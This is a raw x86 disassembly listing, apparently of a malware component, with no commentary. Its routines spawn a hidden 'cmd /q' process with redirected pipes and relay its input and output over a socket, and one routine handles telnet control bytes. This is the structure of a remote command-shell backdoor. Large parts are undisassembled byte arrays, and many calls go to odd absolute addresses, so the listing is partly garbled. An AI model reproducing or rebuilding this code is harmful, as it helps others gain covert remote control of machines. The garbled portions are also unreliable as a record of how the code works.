lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4116FF
nop
call near ptr 2680DCDh
push eax
push offset unk_434D4C
call sub_415D62
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_411739
; ---------------------------------------------------------------------------
loc_4116FF: ; CODE XREF: sub_411694+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411A69
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411740
nop
call near ptr 2680DCDh
push eax
push offset unk_434D4C
call sub_415D62
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 26A07C0h
loc_411739: ; CODE XREF: sub_411694+69j
xor eax, eax
jmp loc_4117E0
; ---------------------------------------------------------------------------
loc_411740: ; CODE XREF: sub_411694+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 27A0000h
sub eax, ebx
jz short loc_41179A
dec eax
jz short loc_411794
dec eax
jz short loc_411780
call near ptr 2680DCDh
nop
push eax
push offset unk_434D18
call sub_415D62
pop ecx
pop ecx
jmp short loc_4117AF
; ---------------------------------------------------------------------------
loc_411780: ; CODE XREF: sub_411694+D5j
mov edi, dword_4270BC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4117AF
; ---------------------------------------------------------------------------
loc_411794: ; CODE XREF: sub_411694+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_41179E
; ---------------------------------------------------------------------------
loc_41179A: ; CODE XREF: sub_411694+CFj
push ebx
push dword ptr [esi+14h]
loc_41179E: ; CODE XREF: sub_411694+104j
nop
call near ptr 26A07C0h
push 1
push dword ptr [esi+8]
nop
call near ptr 2730D36h
loc_4117AF: ; CODE XREF: sub_411694+EAj
; sub_411694+FEj
push dword ptr [esi+10h]
mov edi, dword_427078
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4C939C
push esi
call sub_41BA31
pop ecx
push 1
pop eax
loc_4117E0: ; CODE XREF: sub_411694+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_411694 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4117E5 proc near ; CODE XREF: sub_411694+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BC9B
mov esi, eax
pop ecx
cmp esi, edi
jz loc_4118CF
mov ebx, dword_427114
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427078
test eax, eax
jnz short loc_411848
call near ptr 2680DCDh
nop
push eax
push offset unk_434DFC
jmp short loc_411868
; ---------------------------------------------------------------------------
loc_411848: ; CODE XREF: sub_4117E5+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_411870
nop
call near ptr 2680DCDh
push eax
push offset unk_434DBC
loc_411868: ; CODE XREF: sub_4117E5+61j
call sub_415D62
pop ecx
jmp short loc_41189E
; ---------------------------------------------------------------------------
loc_411870: ; CODE XREF: sub_4117E5+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_4118DE
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_4118D3
push offset unk_434D94
call sub_415CEE
loc_41189E: ; CODE XREF: sub_4117E5+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118AA
push [ebp+var_4]
call edi
loc_4118AA: ; CODE XREF: sub_4117E5+BEj
cmp [ebp+var_8], 0
jz short loc_4118B5
push [ebp+var_8]
call edi
loc_4118B5: ; CODE XREF: sub_4117E5+C9j
mov eax, [esi]
test eax, eax
jz short loc_4118BE
push eax
call edi
loc_4118BE: ; CODE XREF: sub_4117E5+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4118C8
push eax
call edi
loc_4118C8: ; CODE XREF: sub_4117E5+DEj
push esi
call sub_41BA31
pop ecx
loc_4118CF: ; CODE XREF: sub_4117E5+1Dj
xor eax, eax
jmp short loc_4118D9
; ---------------------------------------------------------------------------
loc_4118D3: ; CODE XREF: sub_4117E5+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_4118D9: ; CODE XREF: sub_4117E5+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_4117E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118DE proc near ; CODE XREF: sub_4117E5+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BD10
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD10
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427110
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2740000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 26603BDh
nop
test eax, eax
jz short loc_41199A
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43C248[eax], ecx
nop
call near ptr 2660000h
jmp short loc_4119B0
; ---------------------------------------------------------------------------
loc_41199A: ; CODE XREF: sub_4118DE+9Aj
nop
call near ptr 2680DCDh
push eax
push offset unk_434E3C
call sub_415D62
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119B0: ; CODE XREF: sub_4118DE+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4118DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119B7 proc near ; DATA XREF: sub_411694+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270F4
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_4119E0: ; CODE XREF: sub_4119B7+8Fj
call ebx
test eax, eax
jz short loc_411A48
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A1B
loc_4119F1: ; CODE XREF: sub_4119B7+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A0B
cmp dl, 0Dh
jz short loc_411A0B
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A0B: ; CODE XREF: sub_4119B7+44j
; sub_4119B7+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_4119F1
loc_411A1B: ; CODE XREF: sub_4119B7+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4C9354
test eax, eax
jle short loc_411A48
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_4119E0
; ---------------------------------------------------------------------------
loc_411A48: ; CODE XREF: sub_4119B7+2Dj
; sub_4119B7+79j
mov esi, dword_42709C
call esi
cmp eax, 6Dh
jz short loc_411A64
call esi
push eax
push offset dword_434E7C
call sub_415D62
pop ecx
pop ecx
loc_411A64: ; CODE XREF: sub_4119B7+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A69 proc near ; DATA XREF: sub_411694+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411A82: ; CODE XREF: sub_411A69+39j
; sub_411A69+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4C931C
test eax, eax
jle loc_411B87
cmp [ebp+var_10], ebx
jbe short loc_411AA4
dec [ebp+var_10]
jmp short loc_411A82
; ---------------------------------------------------------------------------
loc_411AA4: ; CODE XREF: sub_411A69+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411B67
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B14
cmp al, 7Fh
jz short loc_411B14
cmp al, 3
jnz short loc_411ACF
push ebx
push ebx
nop
call near ptr 27A007Bh
jmp short loc_411B3B
; ---------------------------------------------------------------------------
loc_411ACF: ; CODE XREF: sub_411A69+5Aj
cmp al, 15h
jnz short loc_411AF1
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B27
; ---------------------------------------------------------------------------
loc_411AF1: ; CODE XREF: sub_411A69+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B28
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B27
; ---------------------------------------------------------------------------
loc_411B14: ; CODE XREF: sub_411A69+52j
; sub_411A69+56j
cmp esi, ebx
jbe short loc_411B3E
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B27: ; CODE XREF: sub_411A69+86j
; sub_411A69+A9j
pop ecx
loc_411B28: ; CODE XREF: sub_411A69+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4C9354
test eax, eax
jle short loc_411B87
loc_411B3B: ; CODE XREF: sub_411A69+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B3E: ; CODE XREF: sub_411A69+ADj
cmp al, 0Dh
jnz loc_411A82
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 2720000h
nop
test eax, eax
jz short loc_411B87
xor esi, esi
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B67: ; CODE XREF: sub_411A69+47j
cmp [ebp+var_C], ebx
jnz short loc_411B78
mov [ebp+var_C], 1
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B78: ; CODE XREF: sub_411A69+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B87: ; CODE XREF: sub_411A69+2Bj
; sub_411A69+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411A69 endp
; ---------------------------------------------------------------------------
dword_411B8C dd 81EC8B55h, 2D4ECh, 8458B00h, 6A575653h, 5BF08B10h, 0FF2CBD8Dh
; DATA XREF: sub_401AC7+2BD4o
dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h
dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h
dd 930415FFh, 66A004Ch, 66026A57h, 89EE4589h, 15FFF075h
dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h
dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h, 12185h
dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h
dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch
dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h, 562075D0h
dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h
dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh
dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h
dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h
dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h, 530000A3h
dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh, 34C069C8h
dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h, 8D500845h
dd 0FFFF2C85h, 685056FFh, 411D91h, 0E8905656h, 226E8DDh
dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h
dd 850FD875h, 0FFFFFF63h, 10E8056Ah, 900226E8h, 0BAE8EDEBh
dd 900226F0h, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h
dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h
dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h, 0CC48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh
dd 2DE273E8h, 5E5F9002h, 0EC8B555Bh, 5D4EC81h, 458B0000h
dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h
dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh, 0B8890043h
dd 0ACh, 68BDB33h, 5F845C7h, 89000000h, 0FFFA3085h, 0F8458DFFh
dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch
dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh, 75FF004Ch
dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Dh, 0FFFB3085h
dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h
dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h, 0E1BEE853h
dd 8090022Dh, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h
dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh
dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh
dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h
dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh
dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h
dd 0E85359FFh, 22DE128h, 8D106A90h, 5053E845h, 9E2BE8h
dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h, 0FFFB3485h
dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h
dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h
dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h
dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h
dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h, 0FF36FF00h
dd 4C939C15h, 875FF00h, 0FF9760E8h, 905359FFh, 2DE08FE8h
dd 0E8458D02h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh
dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h
dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh
dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh
dd 4C9354h, 15FF36FFh, 4C939Ch, 0E80875FFh, 0FFFF96F1h
dd 0E8905359h, 22DE020h, 40068h, 38858D00h, 53FFFFFBh
dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh
dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4C9354h
dd 0E85736FFh, 39h, 0FF575959h, 4C939C15h, 0FF36FF00h
dd 4C939C15h, 875FF00h, 0FF9694E8h, 0E85359FFh, 22DDFC4h
dd 0FF36FF90h, 4C939C15h, 875FF00h, 0FF967CE8h, 905359FFh
dd 2DDFABE8h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_41206B: ; CODE XREF: ___:0041211Aj
; ___:0041214Aj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_412083: ; CODE XREF: ___:00412091j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_412093
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_412083
loc_412093: ; CODE XREF: ___:00412088j
cmp ecx, 1
jnz short loc_4120A8
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4120A8: ; CODE XREF: ___:00412096j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4C92EC
lea eax, [ebp-104h]
push eax
push ebx
call dword_4C91F0
test eax, eax
jz short loc_412108
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4C931C
cmp eax, 0FFFFFFFFh
jz short loc_412150
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jz short loc_412150
loc_412108: ; CODE XREF: ___:004120DAj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4C91F0
test eax, eax
jz loc_41206B
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4C931C
cmp eax, 0FFFFFFFFh
jz short loc_412150
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz loc_41206B
loc_412150: ; CODE XREF: ___:004120EFj
; ___:00412106j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_412155 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+20A0o
; sub_40BD7C+106o
dd 87CEC81h, 558B0000h, 57565308h, 0DB33016Ah, 0A9B958h
dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h
dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h
dd 4C9384h, 0FE83F08Bh, 685675FFh, 190h, 26E372E8h, 9D399002h
dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh
dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF94DDh, 90535959h, 2DDE0BE8h, 0F0458D02h, 0BF50046Ah
dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh
dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah
dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h
dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h, 45896600h
dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h
dd 88681975h, 0E8000013h, 226E2ABh, 9C8DFF90h, 0FFFFFFFEh
dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh, 0E8500042h
dd 99F8h, 59C33B59h, 75FC4589h, 190684Ch, 78E80000h, 900226E2h
dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh
dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 90531CC4h
dd 2DDD1BE8h, 87D8B02h, 2A09F39h, 840F0000h, 27Dh, 80BFh
dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h
dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h
dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh
dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh
dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh
dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h
dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h
dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh, 1AA85h
dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h
dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh
dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh
dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh
dd 9668h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h
dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh
dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h
dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh
dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh
dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h
dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh
dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h
dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h
dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh
dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h, 50FFFFFAh
dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h
dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh
dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h
dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h, 858D14C4h
dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h
dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h, 4C936815h
dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch
dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h
dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 2DDA5FE8h, 0E8689002h
dd 90000003h, 26DF6EE8h, 0A2E85702h, 5FFFFFFBh, 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
cmp dword ptr [ebp+98h], 0
jz short loc_41262A
push esi
mov esi, offset dword_435070
loc_4125D2: ; CODE XREF: ___:00412625j
push esi
push dword ptr [ebp+0Ch]
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_412619
push esi
lea eax, [ebp-200h]
push dword ptr [ebp+8]
push offset dword_4363DC
push 200h
push eax
call sub_41C100
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409862
add esp, 28h
loc_412619: ; CODE XREF: ___:004125DFj
add esi, 80h
cmp esi, offset dword_435C70
jl short loc_4125D2
pop esi
jmp short loc_412661
; ---------------------------------------------------------------------------
loc_41262A: ; CODE XREF: ___:004125CAj
push dword ptr [ebp+8]
lea eax, [ebp-200h]
push offset aS_1 ; "%s"
push 200h
push eax
call sub_41C100
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409862
add esp, 24h
loc_412661: ; CODE XREF: ___:00412628j
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
byte_412665 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+736Bo
dd 920EC81h, 458B0000h, 57565308h, 0F6E0A583h, 6A00FFFFh
dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h
dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h
dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h
dd 0BB004C92h, 200h, 0E890086Ah, 226DE53h, 928815FFh, 453B004Ch
dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h
dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh
dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h
dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh
dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h
dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h
dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h
dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h
dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h, 0C0850000h
dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h
dd 9B86h, 20858D00h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh
dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h
dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h, 8D50B845h
dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h
dd 81000098h, 88ECh, 8D266A00h, 8D59B845h, 0FFFF20B5h
dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh
dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h
dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h
dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch
dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h
dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh, 0A015FF50h
dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h
dd 73E85000h, 81000097h, 8CECh, 0E0858D00h, 8DFFFFFAh
